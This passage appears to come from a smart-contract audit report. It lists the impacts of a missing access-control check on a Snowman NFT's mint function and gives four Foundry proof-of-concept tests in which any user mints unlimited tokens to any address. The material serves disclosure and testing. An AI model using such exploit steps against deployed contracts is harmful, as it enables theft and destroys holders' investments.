- Unlimited Token Supply: Any user can mint infinite tokens, destroying the scarcity model fundamental to NFTs
- Complete Economic Breakdown: The NFT collection becomes worthless as supply becomes infinite
- Gas Griefing Attacks: Malicious actors can mint massive quantities of tokens, causing network congestion and increased gas costs for other users
- Storage Bloat: Unlimited minting increases blockchain storage requirements unnecessarily
- Project Failure: The fundamental economics of the NFT project are broken, leading to complete loss of user trust and investment
Below is test functions that demonstrate the missing access control vulnerability. Here are the key tests that should be added to TestSnowman contract:
1. `testAnyoneCanMintTokens()` - Shows that any user can mint tokens to themselves
2. `testUnauthorizedUserCanMintToAnyAddress()` - Demonstrates that unauthorized users can mint to arbitrary addresses
3. `test_MultipleUsersCanMintUnlimitedTokens()` - Shows multiple users can mint unlimited amounts
4. `test_ExtremelyLargeMintDoesNotRevert()` - Proves there's no supply cap protection
function testAnyoneCanMintTokens() public {
uint256 initialTokenCounter = nft.getTokenCounter();
uint256 mintAmount = 5;
vm.prank(alice);
nft.mintSnowman(alice, mintAmount);
assertEq(nft.getTokenCounter(), initialTokenCounter + mintAmount);
assertEq(nft.balanceOf(alice), mintAmount);
for (uint256 i = 0; i < mintAmount; i++) {
assertEq(nft.ownerOf(i), alice);
}
}
function testUnauthorizedUserCanMintToAnyAddress() public {
uint256 initialTokenCounter = nft.getTokenCounter();
uint256 mintAmount = 10;
vm.prank(bob);
nft.mintSnowman(alice, mintAmount);
assertEq(nft.getTokenCounter(), initialTokenCounter + mintAmount);
assertEq(nft.balanceOf(alice), mintAmount);
assertEq(nft.balanceOf(bob), 0);
for (uint256 i = 0; i < mintAmount; i++) {
assertEq(nft.ownerOf(i), alice);
}
}
function testMultipleUsersCanMintUnlimitedTokens() public {
uint256 aliceMintAmount = 100;
uint256 bobMintAmount = 1000;
vm.prank(alice);
nft.mintSnowman(alice, aliceMintAmount);
vm.prank(bob);
nft.mintSnowman(bob, bobMintAmount);
assertEq(nft.getTokenCounter(), aliceMintAmount + bobMintAmount);
assertEq(nft.balanceOf(alice), aliceMintAmount);
assertEq(nft.balanceOf(bob), bobMintAmount);
}
function testExtremelyLargeMintDoesNotRevert() public {
uint256 extremeAmount = 10000;
vm.prank(alice);
nft.mintSnowman(alice, extremeAmount);
assertEq(nft.getTokenCounter(), extremeAmount);
assertEq(nft.balanceOf(alice), extremeAmount);
}